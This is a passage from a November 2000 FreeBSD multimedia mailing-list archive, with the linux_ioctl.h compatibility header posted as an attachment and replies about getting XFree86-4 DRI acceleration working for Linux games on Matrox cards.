s->ls_length; i++) { error =3D linux_ioctl_unregister_handler(s->ls_items[i]); if (error) return (error); } return (0); } --==_Exmh_-15466650710 Content-Type: text/plain ; name="linux_ioctl.h"; charset=iso-8859-1 Content-Description: linux_ioctl.h Content-Disposition: attachment; filename="linux_ioctl.h" Content-Transfer-Encoding: quoted-printable /*- * Copyright (c) 1999 Marcel Moolenaar * All rights reserved. * * Redistribution and use in source and binary forms, with or without * modification, are permitted provided that the following conditions * are met: * 1. Redistributions of source code must retain the above copyright * notice, this list of conditions and the following disclaimer = * in this position and unchanged. * 2. Redistributions in binary form must reproduce the above copyright * notice, this list of conditions and the following disclaimer in the= * documentation and/or other materials provided with the distribution= =2E * 3. The name of the author may not be used to endorse or promote produc= ts * derived from this software without specific prior written permissio= n. * * THIS SOFTWARE IS PROVIDED BY THE AUTHOR ``AS IS'' AND ANY EXPRESS OR * IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANT= IES * OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED= =2E * IN NO EVENT SHALL THE AUTHOR BE LIABLE FOR ANY DIRECT, INDIRECT, * INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, B= UT * NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF U= SE, * DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY * THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT * (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE = OF * THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. * * $FreeBSD: src/sys/compat/linux/linux_ioctl.h,v 1.4 2000/08/25 07:31:13= marcel Exp $ */ #ifndef _LINUX_IOCTL_H_ #define _LINUX_IOCTL_H_ /* * disk */ #define LINUX_BLKROSET 0x125d #define LINUX_BLKROGET 0x125e #define LINUX_BLKRRPART 0x125f #define LINUX_BLKGETSIZE 0x1260 #define LINUX_BLKFLSBUF 0x1261 #define LINUX_BLKRASET 0x1262 #define LINUX_BLKRAGET 0x1263 #define LINUX_BLKFRASET 0x1264 #define LINUX_BLKFRAGET 0x1265 #define LINUX_BLKSECTSET 0x1266 #define LINUX_BLKSECTGET 0x1267 #define LINUX_BLKSSZGET 0x1268 #define LINUX_IOCTL_DISK_MIN LINUX_BLKROSET #define LINUX_IOCTL_DISK_MAX LINUX_BLKSSZGET /* * cdrom */ #define LINUX_CDROMPAUSE 0x5301 = #define LINUX_CDROMRESUME 0x5302 #define LINUX_CDROMPLAYMSF 0x5303 #define LINUX_CDROMPLAYTRKIND 0x5304 #define LINUX_CDROMREADTOCHDR 0x5305 #define LINUX_CDROMREADTOCENTRY 0x5306 #define LINUX_CDROMSTOP 0x5307 #define LINUX_CDROMSTART 0x5308 #define LINUX_CDROMEJECT 0x5309 #define LINUX_CDROMVOLCTRL 0x530a #define LINUX_CDROMSUBCHNL 0x530b #define LINUX_CDROMREADMODE2 0x530c #define LINUX_CDROMREADMODE1 0x530d #define LINUX_CDROMREADAUDIO 0x530e #define LINUX_CDROMEJECT_SW 0x530f #define LINUX_CDROMMULTISESSION 0x5310 #define LINUX_CDROM_GET_UPC 0x5311 #define LINUX_CDROMRESET 0x5312 #define LINUX_CDROMVOLREAD 0x5313 #define LINUX_CDROMREADRAW 0x5314 #define LINUX_CDROMREADCOOKED 0x5315 #define LINUX_CDROMSEEK 0x5316 #define LINUX_CDROMPLAYBLK 0x5317 #define LINUX_CDROMREADALL 0x5318 #define LINUX_CDROMCLOSETRAY 0x5319 #define LINUX_CDROMLOADFROMSLOT 0x531a #define LINUX_IOCTL_CDROM_MIN LINUX_CDROMPAUSE #define LINUX_IOCTL_CDROM_MAX LINUX_CDROMLOADFROMSLOT #define LINUX_CDROM_LBA 0x01 #define LINUX_CDROM_MSF 0x02 /* * console */ #define LINUX_KIOCSOUND 0x4B2F #define LINUX_KDMKTONE 0x4B30 #define LINUX_KDGETLED 0x4B31 #define LINUX_KDSETLED 0x4B32 #define LINUX_KDSETMODE 0x4B3A #define LINUX_KDGETMODE 0x4B3B #define LINUX_KDGKBMODE 0x4B44 #define LINUX_KDSKBMODE 0x4B45 #define LINUX_VT_OPENQRY 0x5600 #define LINUX_VT_GETMODE 0x5601 #define LINUX_VT_SETMODE 0x5602 #define LINUX_VT_GETSTATE 0x5603 #define LINUX_VT_RELDISP 0x5605 #define LINUX_VT_ACTIVATE 0x5606 = #define LINUX_VT_WAITACTIVE 0x5607 #define LINUX_IOCTL_CONSOLE_MIN LINUX_KIOCSOUND #define LINUX_IOCTL_CONSOLE_MAX LINUX_VT_WAITACTIVE #define LINUX_LED_SCR 0x01 #define LINUX_LED_NUM 0x02 #define LINUX_LED_CAP 0x04 #define LINUX_KD_TEXT 0x0 #define LINUX_KD_GRAPHICS 0x1 #define LINUX_KD_TEXT0 0x2 #define LINUX_KD_TEXT1 0x3 #define LINUX_KBD_RAW 0 #define LINUX_KBD_XLATE 1 #define LINUX_KBD_MEDIUMRAW 2 /* * socket */ #define LINUX_FIOSETOWN 0x8901 #define LINUX_SIOCSPGRP 0x8902 #define LINUX_FIOGETOWN 0x8903 #define LINUX_SIOCGPGRP 0x8904 #define LINUX_SIOCATMARK 0x8905 #define LINUX_SIOCGSTAMP 0x8906 #define LINUX_SIOCGIFCONF 0x8912 #define LINUX_SIOCGIFFLAGS 0x8913 #define LINUX_SIOCGIFADDR 0x8915 #define LINUX_SIOCGIFDSTADDR 0x8917 #define LINUX_SIOCGIFBRDADDR 0x8919 #define LINUX_SIOCGIFNETMASK 0x891b #define LINUX_SIOCGIFHWADDR 0x8927 #define LINUX_SIOCADDMULTI 0x8931 #define LINUX_SIOCDELMULTI 0x8932 #define LINUX_IOCTL_SOCKET_MIN LINUX_FIOSETOWN #define LINUX_IOCTL_SOCKET_MAX LINUX_SIOCDELMULTI /* * sound */ #define LINUX_SOUND_MIXER_WRITE_VOLUME 0x4d00 #define LINUX_SOUND_MIXER_WRITE_BASS 0x4d01 #define LINUX_SOUND_MIXER_WRITE_TREBLE 0x4d02 #define LINUX_SOUND_MIXER_WRITE_SYNTH 0x4d03 #define LINUX_SOUND_MIXER_WRITE_PCM 0x4d04 #define LINUX_SOUND_MIXER_WRITE_SPEAKER 0x4d05 #define LINUX_SOUND_MIXER_WRITE_LINE 0x4d06 #define LINUX_SOUND_MIXER_WRITE_MIC 0x4d07 #define LINUX_SOUND_MIXER_WRITE_CD 0x4d08 #define LINUX_SOUND_MIXER_WRITE_IMIX 0x4d09 #define LINUX_SOUND_MIXER_WRITE_ALTPCM 0x4d0A #define LINUX_SOUND_MIXER_WRITE_RECLEV 0x4d0B #define LINUX_SOUND_MIXER_WRITE_IGAIN 0x4d0C #define LINUX_SOUND_MIXER_WRITE_OGAIN 0x4d0D #define LINUX_SOUND_MIXER_WRITE_LINE1 0x4d0E #define LINUX_SOUND_MIXER_WRITE_LINE2 0x4d0F #define LINUX_SOUND_MIXER_WRITE_LINE3 0x4d10 #define LINUX_OSS_GETVERSION 0x4d76 #define LINUX_SOUND_MIXER_READ_DEVMASK 0x4dfe #define LINUX_SNDCTL_DSP_RESET 0x5000 #define LINUX_SNDCTL_DSP_SYNC 0x5001 #define LINUX_SNDCTL_DSP_SPEED 0x5002 #define LINUX_SNDCTL_DSP_STEREO 0x5003 #define LINUX_SNDCTL_DSP_GETBLKSIZE 0x5004 #define LINUX_SNDCTL_DSP_SETBLKSIZE LINUX_SNDCTL_DSP_GETBLKSIZE #define LINUX_SNDCTL_DSP_SETFMT 0x5005 #define LINUX_SOUND_PCM_WRITE_CHANNELS 0x5006 #define LINUX_SOUND_PCM_WRITE_FILTER 0x5007 #define LINUX_SNDCTL_DSP_POST 0x5008 #define LINUX_SNDCTL_DSP_SUBDIVIDE 0x5009 #define LINUX_SNDCTL_DSP_SETFRAGMENT 0x500A #define LINUX_SNDCTL_DSP_GETFMTS 0x500B #define LINUX_SNDCTL_DSP_GETOSPACE 0x500C #define LINUX_SNDCTL_DSP_GETISPACE 0x500D #define LINUX_SNDCTL_DSP_NONBLOCK 0x500E #define LINUX_SNDCTL_DSP_GETCAPS 0x500F #define LINUX_SNDCTL_DSP_GETTRIGGER 0x5010 #define LINUX_SNDCTL_DSP_SETTRIGGER LINUX_SNDCTL_DSP_GETTRIGGER #define LINUX_SNDCTL_DSP_GETIPTR 0x5011 #define LINUX_SNDCTL_DSP_GETOPTR 0x5012 #define LINUX_SNDCTL_DSP_GETODELAY 0x5017 #define LINUX_SNDCTL_SEQ_RESET 0x5100 #define LINUX_SNDCTL_SEQ_SYNC 0x5101 #define LINUX_SNDCTL_SYNTH_INFO 0x5102 #define LINUX_SNDCTL_SEQ_CTRLRATE 0x5103 #define LINUX_SNDCTL_SEQ_GETOUTCOUNT 0x5104 #define LINUX_SNDCTL_SEQ_GETINCOUNT 0x5105 #define LINUX_SNDCTL_SEQ_PERCMODE 0x5106 #define LINUX_SNDCTL_FM_LOAD_INSTR 0x5107 #define LINUX_SNDCTL_SEQ_TESTMIDI 0x5108 #define LINUX_SNDCTL_SEQ_RESETSAMPLES 0x5109 #define LINUX_SNDCTL_SEQ_NRSYNTHS 0x510A #define LINUX_SNDCTL_SEQ_NRMIDIS 0x510B #define LINUX_SNDCTL_MIDI_INFO 0x510C #define LINUX_SNDCTL_SEQ_TRESHOLD 0x510D #define LINUX_SNDCTL_SYNTH_MEMAVL 0x510E #define LINUX_IOCTL_SOUND_MIN LINUX_SOUND_MIXER_WRITE_VOLUME #define LINUX_IOCTL_SOUND_MAX LINUX_SNDCTL_SYNTH_MEMAVL /* * termio */ #define LINUX_TCGETS 0x5401 #define LINUX_TCSETS 0x5402 #define LINUX_TCSETSW 0x5403 #define LINUX_TCSETSF 0x5404 #define LINUX_TCGETA 0x5405 #define LINUX_TCSETA 0x5406 #define LINUX_TCSETAW 0x5407 #define LINUX_TCSETAF 0x5408 #define LINUX_TCSBRK 0x5409 #define LINUX_TCXONC 0x540A #define LINUX_TCFLSH 0x540B #define LINUX_TIOCEXCL 0x540C #define LINUX_TIOCNXCL 0x540D #define LINUX_TIOCSCTTY 0x540E #define LINUX_TIOCGPGRP 0x540F #define LINUX_TIOCSPGRP 0x5410 #define LINUX_TIOCOUTQ 0x5411 #define LINUX_TIOCSTI 0x5412 #define LINUX_TIOCGWINSZ 0x5413 #define LINUX_TIOCSWINSZ 0x5414 #define LINUX_TIOCMGET 0x5415 #define LINUX_TIOCMBIS 0x5416 #define LINUX_TIOCMBIC 0x5417 #define LINUX_TIOCMSET 0x5418 #define LINUX_TIOCGSOFTCAR 0x5419 #define LINUX_TIOCSSOFTCAR 0x541A #define LINUX_FIONREAD 0x541B #define LINUX_TIOCINQ FIONREAD #define LINUX_TIOCLINUX 0x541C #define LINUX_TIOCCONS 0x541D #define LINUX_TIOCGSERIAL 0x541E #define LINUX_TIOCSSERIAL 0x541F #define LINUX_TIOCPKT 0x5420 #define LINUX_FIONBIO 0x5421 #define LINUX_TIOCNOTTY 0x5422 #define LINUX_TIOCSETD 0x5423 #define LINUX_TIOCGETD 0x5424 #define LINUX_TCSBRKP 0x5425 #define LINUX_TIOCTTYGSTRUCT 0x5426 #define LINUX_FIONCLEX 0x5450 #define LINUX_FIOCLEX 0x5451 #define LINUX_FIOASYNC 0x5452 #define LINUX_TIOCSERCONFIG 0x5453 #define LINUX_TIOCSERGWILD 0x5454 #define LINUX_TIOCSERSWILD 0x5455 #define LINUX_TIOCGLCKTRMIOS 0x5456 #define LINUX_TIOCSLCKTRMIOS 0x5457 #define LINUX_IOCTL_TERMIO_MIN LINUX_TCGETS #define LINUX_IOCTL_TERMIO_MAX LINUX_TIOCSLCKTRMIOS /* arguments for tcflow() and LINUX_TCXONC */ #define LINUX_TCOOFF 0 #define LINUX_TCOON 1 #define LINUX_TCIOFF 2 #define LINUX_TCION 3 /* arguments for tcflush() and LINUX_TCFLSH */ #define LINUX_TCIFLUSH 0 #define LINUX_TCOFLUSH 1 #define LINUX_TCIOFLUSH 2 /* line disciplines */ #define LINUX_N_TTY 0 #define LINUX_N_SLIP 1 #define LINUX_N_MOUSE 2 #define LINUX_N_PPP 3 /* Linux termio c_cc values */ #define LINUX_VINTR 0 #define LINUX_VQUIT 1 #define LINUX_VERASE 2 #define LINUX_VKILL 3 #define LINUX_VEOF 4 #define LINUX_VTIME 5 #define LINUX_VMIN 6 #define LINUX_VSWTC 7 #define LINUX_NCC 8 /* Linux termios c_cc values */ #define LINUX_VSTART 8 #define LINUX_VSTOP 9 #define LINUX_VSUSP 10 #define LINUX_VEOL 11 #define LINUX_VREPRINT 12 #define LINUX_VDISCARD 13 #define LINUX_VWERASE 14 #define LINUX_VLNEXT 15 #define LINUX_VEOL2 16 #define LINUX_NCCS 19 #define LINUX_POSIX_VDISABLE '\0' /* Linux c_iflag masks */ #define LINUX_IGNBRK 0x0000001 #define LINUX_BRKINT 0x0000002 #define LINUX_IGNPAR 0x0000004 #define LINUX_PARMRK 0x0000008 #define LINUX_INPCK 0x0000010 #define LINUX_ISTRIP 0x0000020 #define LINUX_INLCR 0x0000040 #define LINUX_IGNCR 0x0000080 #define LINUX_ICRNL 0x0000100 #define LINUX_IUCLC 0x0000200 #define LINUX_IXON 0x0000400 #define LINUX_IXANY 0x0000800 #define LINUX_IXOFF 0x0001000 #define LINUX_IMAXBEL 0x0002000 /* Linux c_oflag masks */ #define LINUX_OPOST 0x0000001 #define LINUX_OLCUC 0x0000002 #define LINUX_ONLCR 0x0000004 #define LINUX_OCRNL 0x0000008 #define LINUX_ONOCR 0x0000010 #define LINUX_ONLRET 0x0000020 #define LINUX_OFILL 0x0000040 #define LINUX_OFDEL 0x0000080 #define LINUX_NLDLY 0x0000100 #define LINUX_NL0 0x0000000 #define LINUX_NL1 0x0000100 #define LINUX_CRDLY 0x0000600 #define LINUX_CR0 0x0000000 #define LINUX_CR1 0x0000200 #define LINUX_CR2 0x0000400 #define LINUX_CR3 0x0000600 #define LINUX_TABDLY 0x0001800 #define LINUX_TAB0 0x0000000 #define LINUX_TAB1 0x0000800 #define LINUX_TAB2 0x0001000 #define LINUX_TAB3 0x0001800 #define LINUX_XTABS 0x0001800 #define LINUX_BSDLY 0x0002000 #define LINUX_BS0 0x0000000 #define LINUX_BS1 0x0002000 #define LINUX_VTDLY 0x0004000 #define LINUX_VT0 0x0000000 #define LINUX_VT1 0x0004000 #define LINUX_FFDLY 0x0008000 #define LINUX_FF0 0x0000000 #define LINUX_FF1 0x0008000 #define LINUX_CBAUD 0x0000100f #define LINUX_B0 0x00000000 #define LINUX_B50 0x00000001 #define LINUX_B75 0x00000002 #define LINUX_B110 0x00000003 #define LINUX_B134 0x00000004 #define LINUX_B150 0x00000005 #define LINUX_B200 0x00000006 #define LINUX_B300 0x00000007 #define LINUX_B600 0x00000008 #define LINUX_B1200 0x00000009 #define LINUX_B1800 0x0000000a #define LINUX_B2400 0x0000000b #define LINUX_B4800 0x0000000c #define LINUX_B9600 0x0000000d #define LINUX_B19200 0x0000000e #define LINUX_B38400 0x0000000f #define LINUX_EXTA LINUX_B19200 #define LINUX_EXTB LINUX_B38400 #define LINUX_CBAUDEX 0x00001000 #define LINUX_B57600 0x00001001 #define LINUX_B115200 0x00001002 #define LINUX_CSIZE 0x00000030 #define LINUX_CS5 0x00000000 #define LINUX_CS6 0x00000010 #define LINUX_CS7 0x00000020 #define LINUX_CS8 0x00000030 #define LINUX_CSTOPB 0x00000040 #define LINUX_CREAD 0x00000080 #define LINUX_PARENB 0x00000100 #define LINUX_PARODD 0x00000200 #define LINUX_HUPCL 0x00000400 #define LINUX_CLOCAL 0x00000800 #define LINUX_CRTSCTS 0x80000000 /* Linux c_lflag masks */ #define LINUX_ISIG 0x00000001 #define LINUX_ICANON 0x00000002 #define LINUX_XCASE 0x00000004 #define LINUX_ECHO 0x00000008 #define LINUX_ECHOE 0x00000010 #define LINUX_ECHOK 0x00000020 #define LINUX_ECHONL 0x00000040 #define LINUX_NOFLSH 0x00000080 #define LINUX_TOSTOP 0x00000100 #define LINUX_ECHOCTL 0x00000200 #define LINUX_ECHOPRT 0x00000400 #define LINUX_ECHOKE 0x00000800 #define LINUX_FLUSHO 0x00001000 #define LINUX_PENDIN 0x00002000 #define LINUX_IEXTEN 0x00008000 /* serial_struct values for TIOC[GS]SERIAL ioctls */ #define LINUX_ASYNC_CLOSING_WAIT_INF 0 #define LINUX_ASYNC_CLOSING_WAIT_NONE 65535 #define LINUX_PORT_UNKNOWN 0 #define LINUX_PORT_8250 1 #define LINUX_PORT_16450 2 #define LINUX_PORT_16550 3 #define LINUX_PORT_16550A 4 #define LINUX_PORT_CIRRUS 5 #define LINUX_PORT_16650 6 #define LINUX_PORT_MAX 6 #define LINUX_ASYNC_HUP_NOTIFY 0x0001 #define LINUX_ASYNC_FOURPORT 0x0002 #define LINUX_ASYNC_SAK 0x0004 #define LINUX_ASYNC_SPLIT_TERMIOS 0x0008 #define LINUX_ASYNC_SPD_MASK 0x0030 #define LINUX_ASYNC_SPD_HI 0x0010 #define LINUX_ASYNC_SPD_VHI 0x0020 #define LINUX_ASYNC_SPD_CUST 0x0030 #define LINUX_ASYNC_SKIP_TEST 0x0040 #define LINUX_ASYNC_AUTO_IRQ 0x0080 #define LINUX_ASYNC_SESSION_LOCKOUT 0x0100 #define LINUX_ASYNC_PGRP_LOCKOUT 0x0200 #define LINUX_ASYNC_CALLOUT_NOHUP 0x0400 #define LINUX_ASYNC_FLAGS 0x0FFF /* XFree86 4.0.x DRI support */ #define LINUX_DRM_IOCTL_VERSION 0x6400 #define LINUX_DRM_IOCTL_GET_UNIQUE 0x6401 #define LINUX_DRM_IOCTL_GET_MAGIC 0x6402 #define LINUX_DRM_IOCTL_IRQ_BUSID 0x6403 #define LINUX_DRM_IOCTL_SET_UNIQUE 0x6410 #define LINUX_DRM_IOCTL_AUTH_MAGIC 0x6411 #define LINUX_DRM_IOCTL_BLOCK 0x6412 #define LINUX_DRM_IOCTL_UNBLOCK 0x6413 #define LINUX_DRM_IOCTL_CONTROL 0x6414 #define LINUX_DRM_IOCTL_ADD_MAP 0x6415 #define LINUX_DRM_IOCTL_ADD_BUFS 0x6416 #define LINUX_DRM_IOCTL_MARK_BUFS 0x6417 #define LINUX_DRM_IOCTL_INFO_BUFS 0x6418 #define LINUX_DRM_IOCTL_MAP_BUFS 0x6419 #define LINUX_DRM_IOCTL_FREE_BUFS 0x641a #define LINUX_DRM_IOCTL_ADD_CTX 0x6420 #define LINUX_DRM_IOCTL_RM_CTX 0x6421 #define LINUX_DRM_IOCTL_MOD_CTX 0x6422 #define LINUX_DRM_IOCTL_GET_CTX 0x6423 #define LINUX_DRM_IOCTL_SWITCH_CTX 0x6424 #define LINUX_DRM_IOCTL_NEW_CTX 0x6425 #define LINUX_DRM_IOCTL_RES_CTX 0x6426 #define LINUX_DRM_IOCTL_ADD_DRAW 0x6427 #define LINUX_DRM_IOCTL_RM_DRAW 0x6428 #define LINUX_DRM_IOCTL_DMA 0x6429 #define LINUX_DRM_IOCTL_LOCK 0x642a #define LINUX_DRM_IOCTL_UNLOCK 0x642b #define LINUX_DRM_IOCTL_FINISH 0x642c /* dri/agp ioctls */ #define LINUX_DRM_IOCTL_AGP_ACQUIRE 0x6430 #define LINUX_DRM_IOCTL_AGP_RELEASE 0x6431 #define LINUX_DRM_IOCTL_AGP_ENABLE 0x6432 #define LINUX_DRM_IOCTL_AGP_INFO 0x6433 #define LINUX_DRM_IOCTL_AGP_ALLOC 0x6434 #define LINUX_DRM_IOCTL_AGP_FREE 0x6435 #define LINUX_DRM_IOCTL_AGP_BIND 0x6436 #define LINUX_DRM_IOCTL_AGP_UNBIND 0x6437 /* mga G400 specific ioctls */ #define LINUX_DRM_IOCTL_MGA_INIT 0x6440 #define LINUX_DRM_IOCTL_MGA_SWAP 0x6441 #define LINUX_DRM_IOCTL_MGA_CLEAR 0x6442 #define LINUX_DRM_IOCTL_MGA_ILOAD 0x6443 #define LINUX_DRM_IOCTL_MGA_VERTEX 0x6444 #define LINUX_DRM_IOCTL_MGA_FLUSH 0x6445 #define LINUX_DRM_IOCTL_MGA_INDICES 0x6446 #define LINUX_DRM_IOCTL_MGA_SOMETHING 0x6447 /* I810 specific ioctls */ #define LINUX_DRM_IOCTL_I810_INIT 0x6440 #define LINUX_DRM_IOCTL_I810_VERTEX 0x6441 #define LINUX_DRM_IOCTL_I810_CLEAR 0x6442 #define LINUX_DRM_IOCTL_I810_FLUSH 0x6443 #define LINUX_DRM_IOCTL_I810_GETAGE 0x6444 #define LINUX_DRM_IOCTL_I810_GETBUF 0x6445 #define LINUX_DRM_IOCTL_I810_SWAP 0x6446 /* Rage 128 specific ioctls */ #define LINUX_DRM_IOCTL_R128_INIT 0x6440 #define LINUX_DRM_IOCTL_R128_RESET 0x6441 #define LINUX_DRM_IOCTL_R128_FLUSH 0x6442 #define LINUX_DRM_IOCTL_R128_CCEID 0x6443 #define LINUX_DRM_IOCTL_R128_PACKET 0x6444 #define LINUX_DRM_IOCTL_R128_VERTEX 0x6445 /* card specific ioctls may increase the DRM_MAX */ #define LINUX_IOCTL_DRM_MIN LINUX_DRM_IOCTL_VERSION #define LINUX_IOCTL_DRM_MAX LINUX_DRM_IOCTL_MGA_SOMETHING #endif /* !_LINUX_IOCTL_H_ */ --==_Exmh_-15466650710 Content-Type: text/plain; charset=iso-8859-1 Content-Transfer-Encoding: quoted-printable The views expressed above are not those of PGS Tensor. "We've heard that a million monkeys at a million keyboards could prod= uce the Complete Works of Shakespeare; now, thanks to the Internet, we k= now this is not true." Robert Wilensky, University of Califor= nia --==_Exmh_-15466650710-- To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-multimedia" in the body of the message From owner-freebsd-multimedia Fri Nov 24 2:47:49 2000 Delivered-To: freebsd-multimedia@freebsd.org Received: from grok.example.net (cr479972-a.rct1.bc.wave.home.com [24.113.37.168]) by hub.freebsd.org (Postfix) with ESMTP id 295EC37B4C5 for ; Fri, 24 Nov 2000 02:47:47 -0800 (PST) Received: by grok.example.net (Postfix, from userid 1000) id 18768212E29; Fri, 24 Nov 2000 02:47:42 -0800 (PST) Date: Fri, 24 Nov 2000 02:47:42 -0800 From: Steve Reid To: Stephen Hocking Cc: freebsd-multimedia@FreeBSD.ORG Subject: Re: XF86-4, Linux binaries, DRI? Message-ID: <20001124024742.A355@grok> References: <200011230505.eAN553G15445@bloop.craftncomp.com> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii X-Mailer: Mutt 0.95.4i In-Reply-To: <200011230505.eAN553G15445@bloop.craftncomp.com>; from Stephen Hocking on Wed, Nov 22, 2000 at 11:05:02PM -0600 Sender: owner-freebsd-multimedia@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.org On Wed, Nov 22, 2000 at 11:05:02PM -0600, Stephen Hocking wrote: > OK, I've been there and done that. I'm sending you my linux_ioctl.c and > linux_ioctl.h which should help out. Hmm... System halts at kldload. This is really odd, because looking at diffs (between 4.1-R and yours) I don't see anything that should cause that. The _only_ things that have changed are the path names for the #include files and the addition of the linux_ioctl_drm() (with the required declarations to plug it in just like the rest). linux_ioctl_drm() is not rocket science, and does it even get called at kldload time? This really looks like it should work. By "halt", I mean the machine goes through the "shutting down processes" thing and prints "the system has been halted". No "automatic reboot in 15 seconds", no panic message, and no debugger appears. The disks are not unmounted either. Maybe I just don't remember what a panic message looks like (it's been a while :) but this feels very odd. To satisfy #includes I needed some *drm.h files, which I grabbed from /usr/ports/x11/XFree86-4/work/xc/programs/Xserver/hw/xfree86/os-support/bsd/drm/kernel/ (say that ten times fast :). mtime on them is "Jun 16 17:03". Does this match yours? I don't think this should matter until an ioctl is performed, but I'm not really familiar with kernel stuff. To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-multimedia" in the body of the message From owner-freebsd-multimedia Fri Nov 24 4:21:27 2000 Delivered-To: freebsd-multimedia@freebsd.org Received: from grok.example.net (cr479972-a.rct1.bc.wave.home.com [24.113.37.168]) by hub.freebsd.org (Postfix) with ESMTP id B459237B4CF for ; Fri, 24 Nov 2000 04:21:25 -0800 (PST) Received: by grok.example.net (Postfix, from userid 1000) id 10B01212E29; Fri, 24 Nov 2000 04:21:24 -0800 (PST) Date: Fri, 24 Nov 2000 04:21:24 -0800 From: Steve Reid To: Stephen Hocking Cc: freebsd-multimedia@FreeBSD.ORG Subject: Re: XF86-4, Linux binaries, DRI? Message-ID: <20001124042124.A367@grok> References: <200011230505.eAN553G15445@bloop.craftncomp.com> <20001124024742.A355@grok> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii X-Mailer: Mutt 0.95.4i In-Reply-To: <20001124024742.A355@grok>; from Steve Reid on Fri, Nov 24, 2000 at 02:47:42AM -0800 Sender: owner-freebsd-multimedia@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.org On Fri, Nov 24, 2000 at 02:47:42AM -0800, Steve Reid wrote: > Hmm... System halts at kldload. Nevermind, seems to be working now. It just wants to be loaded from /boot/loader.conf instead of /etc/rc.conf. I think I'm close... libGL error: MGA DRI driver expected DRM driver version 2.0.x but got version 1.0.0 So I hack the mga kernel module to return version 2.0.0 (can't hurt to try, right?) and: libGL error: XF86DRIQueryDirectRenderingCapable returned false Okay, so I guess I need a _real_ 2.0.x DRM driver. Any idea where to get one? I thought XF86 4.0.1 was the latest...? To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-multimedia" in the body of the message From owner-freebsd-multimedia Fri Nov 24 6:27:26 2000 Delivered-To: freebsd-multimedia@freebsd.org Received: from wop21.wop.wtb.tue.nl (wop21.wop.wtb.tue.nl [131.155.56.216]) by hub.freebsd.org (Postfix) with ESMTP id 79ABE37B4C5 for ; Fri, 24 Nov 2000 06:27:24 -0800 (PST) Received: (from karelj@localhost) by wop21.wop.wtb.tue.nl (8.11.1/8.11.1) id eAOER5q01541; Fri, 24 Nov 2000 15:27:05 +0100 (CET) (envelope-from karelj) Date: Fri, 24 Nov 2000 15:27:05 +0100 From: "Karel J. Bosschaart" To: Steve Reid Cc: freebsd-multimedia@FreeBSD.ORG Subject: Re: XF86-4, Linux binaries, DRI? Message-ID: <20001124152705.A1508@wop21.wop.wtb.tue.nl> Reply-To: K.J.Bosschaart@wtb.tue.nl References: <20001122155318.A11020@grok> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii X-Mailer: Mutt 1.0.1i In-Reply-To: <20001122155318.A11020@grok>; from sreid@sea-to-sky.net on Wed, Nov 22, 2000 at 03:53:18PM -0800 Sender: owner-freebsd-multimedia@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.org On Wed, Nov 22, 2000 at 03:53:18PM -0800, Steve Reid wrote: > I have XFree86-4 working with DRI for FreeBSD binaries on my new Matrox > G450 (this helped: http://wop21.wop.wtb.tue.nl/freebsd/hwaccel.txt) and > am now trying to get DRI working with Linux binaries, Q3A specificly. Interesting! I'd like to get Unreal Tournament going with a G400... I'm also stuck where linux binaries should use the DRI. BTW, I've html-ified above url, which is at http://wop21.wop.wtb.tue.nl/freebsd/hwaccel.html , and packed up the diffs to the XF86 source tree in a tiny tgz. > Right now Quake 3 appears to be doing software rendering (<1 fps). > Yeah, I know how that feels like... > My system: > FreeBSD 4.1-RELEASE > XFree86 4.0.1 built from ports > Various Debian XF86-4 packages extracted into /compat/linux Which packages did you use from Debian? I've tried to put files from a Slackware XF86-4 install into /compat/linux, in fact the corresponding files that were otherwise installed by the linux_glx port, but it didn't work. Anyway, I also needed the changed linux_ioctl.[ch], which I have now from another reply to this post. Hope to try it in the near future ;-). I'm curious to know how the G400 performs in comparison with the Voodoo2-SLI that I have working now (in FreeBSD as well as in Slackware). Karel. To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-multimedia" in the body of the message From owner-freebsd-multimedia Fri Nov 24 8:49: 0 2000 Delivered-To: freebsd-multimedia@freebsd.org Received: from f1node03.rhrz.uni-bonn.de (node03.rhrz.uni-bonn.de [131.220.18.133]) by hub.freebsd.org (Postfix) with ESMTP id 56FBA37B65F for ; Fri, 24 Nov 2000 08:48:57 -0800 (PST) Received: from moritz.alleswirdgelber (ascend-tk-p135.dialin.uni-bonn.de [131.220.244.135]) by f1node03.rhrz.uni-bonn.de (8.9.3/8.9.3) with ESMTP id RAA509036 for ; Fri, 24 Nov 2000 17:45:19 +0100 Received: from localhost (uzs106@localhost [127.0.0.1]) by moritz.alleswirdgelber (8.9.3/8.9.3) with ESMTP id OAA24052 for ; Fri, 24 Nov 2000 14:33:43 +0100 (CET) (envelope-from uzs106@ibm.rhrz.uni-bonn.de) Date: Fri, 24 Nov 2000 14:33:43 +0100 (CET) From: Heiko Recktenwald X-Sender: uzs106@moritz.alleswirdgelber To: multimedia@FreeBSD.ORG Subject: MPEG and RTTP etc... Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-freebsd-multimedia@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.org Hi gang, is there any player for MPEG Video, that understands one of the "modern streaming protocols" ? QuickTime player for Macs will do, but how is it with UNIX ??? Whatever they are good for... H. To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-multimedia" in the body of the message From owner-freebsd-multimedia Fri Nov 24 15:29:12 2000 Delivered-To: freebsd-multimedia@freebsd.org Received: from gromit.eng.eircom.net (gromit.eng.eircom.net [159.134.242.196]) by hub.freebsd.org (Postfix) with ESMTP id 